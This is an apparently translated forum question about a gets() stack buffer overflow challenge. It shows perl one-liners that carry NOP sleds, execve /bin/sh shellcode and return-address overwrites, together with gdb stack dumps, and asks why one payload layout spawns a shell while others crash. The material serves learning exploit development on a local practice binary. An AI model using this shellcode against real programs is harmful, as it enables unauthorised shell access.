如何解决缓冲区溢出 - shellcode 的位置导致失败或成功 - 为什么？
我正在尝试解决一个简单的 gets() 缓冲区溢出挑战。
(gdb) run < <(perl -e 'print "A"x71 . "BBBB"')
Starting program: /tmp/test01 < <(perl -e 'print "A"x71 . "BBBB"')
Breakpoint 1,0x0804847c in main ()
(gdb) x/48wx $esp
0xffffd574: 0x41414154 0x41414141 0x41414141 0x41414141
0xffffd584: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd594: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5a4: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5b4: 0x41414141 0x41414141 0x42424242 0x00000000
0xffffd5c4: 0xffffd654 0xffffd65c 0x00000000 0x00000000
0xffffd5d4: 0x00000000 0xf7fc5000 0xf7ffdc0c 0xf7ffd000
0xffffd5e4: 0x00000000 0x00000001 0xf7fc5000 0x00000000
0xffffd5f4: 0x17afc61c 0x2d40ca0c 0x00000000 0x00000000
0xffffd604: 0x00000000 0x00000001 0x08048350 0x00000000
0xffffd614: 0xf7fee710 0xf7e2a199 0xf7ffd000 0x00000001
0xffffd624: 0x08048350 0x00000000 0x08048371 0x0804844b
(gdb) c
Continuing.
Program received signal SIGSEGV,Segmentation fault.
0x42424242 in ?? ()
(gdb)
在第一种方法中，我将 shellcode 放在 NOP 幻灯片末尾的 ret 值之后。这种方法是成功的。在我的第二种方法中，我将 shellcode（与第一个测试中的相同）放在 ret 之前，但也放在 NOP 幻灯片的末尾。这种方法失败了。
我想了解导致不同行为的原因。
成功尝试 1：
(gdb) run < <(perl -e 'print "A"x71 . "\xd0\xd5\xff\xff" . "\x90"x50 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
Starting program: /tmp/test01 < <(perl -e 'print "A"x71 . "\xd0\xd5\xff\xff" . "\x90"x50 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
Breakpoint 1,0x0804847c in main ()
(gdb) x/48wx $esp
0xffffd574: 0x41414154 0x41414141 0x41414141 0x41414141
0xffffd584: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd594: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5a4: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd5b4: 0x41414141 0x41414141 0xffffd5d0 0x90909090
0xffffd5c4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd5d4: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd5e4: 0x90909090 0x90909090 0x90909090 0xc0319090
0xffffd5f4: 0x2f2f6850 0x2f686873 0x896e6962 0x895350e3
0xffffd604: 0xb0c289e1 0x0080cd0b 0x08048350 0x00000000
0xffffd614: 0xf7fee710 0xf7e2a199 0xf7ffd000 0x00000001
0xffffd624: 0x08048350 0x00000000 0x08048371 0x0804844b
(gdb) c
Continuing.
process 11598 is executing new program: /bin/dash
失败的尝试 2：
(gdb) run < <(perl -e 'print "\x90"x40 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" . "\x90"x6 . "\x80\xd5\xff\xff"')
Starting program: /tmp/test01 < <(perl -e 'print "\x90"x40 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" . "\x90"x6 . "\x80\xd5\xff\xff"')
Breakpoint 1,0x0804847c in main ()
(gdb) x/48wx $esp
0xffffd574: 0x90909054 0x90909090 0x90909090 0x90909090
0xffffd584: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd594: 0x90909090 0x90909090 0x50c03190 0x732f2f68
0xffffd5a4: 0x622f6868 0xe3896e69 0xe1895350 0x0bb0c289
0xffffd5b4: 0x909080cd 0x90909090 0xffffd580 0x00000000
0xffffd5c4: 0xffffd654 0xffffd65c 0x00000000 0x00000000
0xffffd5d4: 0x00000000 0xf7fc5000 0xf7ffdc0c 0xf7ffd000
0xffffd5e4: 0x00000000 0x00000001 0xf7fc5000 0x00000000
0xffffd5f4: 0x0ca610c5 0x36491cd5 0x00000000 0x00000000
0xffffd604: 0x00000000 0x00000001 0x08048350 0x00000000
0xffffd614: 0xf7fee710 0xf7e2a199 0xf7ffd000 0x00000001
0xffffd624: 0x08048350 0x00000000 0x08048371 0x0804844b
(gdb) c
Continuing.
Program received signal SIGILL,Illegal instruction.
0xffffd5ae in ?? ()
如果我稍微调整一下 shellcode 的位置，我会得到一个 SIGSEV 而不是一个 SIGILL：
(gdb) run < <(perl -e 'print "\x90"x37 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" . "\x90"x9 . "\x80\xd5\xff\xff"')
Starting program: /tmp/temp01 < <(perl -e 'print "\x90"x37 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" . "\x90"x9 . "\x80\xd5\xff\xff"')
Password: Authentication failure.
Sorry.
Breakpoint 1,0x0804847c in main ()
(gdb) x/48wx $esp
0xffffd574: 0x90909054 0x90909090 0x90909090 0x90909090
0xffffd584: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd594: 0x90909090 0xc0319090 0x2f2f6850 0x2f686873
0xffffd5a4: 0x896e6962 0x895350e3 0xb0c289e1 0x9080cd0b
0xffffd5b4: 0x90909090 0x90909090 0xffffd580 0x00000000
0xffffd5c4: 0xffffd654 0xffffd65c 0x00000000 0x00000000
0xffffd5d4: 0x00000000 0xf7fc5000 0xf7ffdc0c 0xf7ffd000
0xffffd5e4: 0x00000000 0x00000001 0xf7fc5000 0x00000000
0xffffd5f4: 0xb97731b9 0x83983da9 0x00000000 0x00000000
0xffffd604: 0x00000000 0x00000001 0x08048350 0x00000000
0xffffd614: 0xf7fee710 0xf7e2a199 0xf7ffd000 0x00000001
0xffffd624: 0x08048350 0x00000000 0x08048371 0x0804844b
(gdb) c
Continuing.
Program received signal SIGSEGV,Segmentation fault.
0xffffd5ab in ?? ()
为什么第二种方法不会导致成功的利用，而是导致 SIGILL 或 SIGSEGV？
更新 01： 经过进一步测试，我现在的假设是，在失败的尝试中，跟踪程序中的代码甚至是 shellcode 本身？！正在影响我在堆栈上的 shellcode。如果我只使用一个简短的 NOP 幻灯片并将 shellcode 放在开头，我的测试也是成功的。
(gdb) run < <(perl -e 'print "\x90"x10 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" . "\x90"x36 . "\x78\xd5\xff\xff"')
版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 dio@foxmail.com 举报，一经查实，本站将立刻删除。
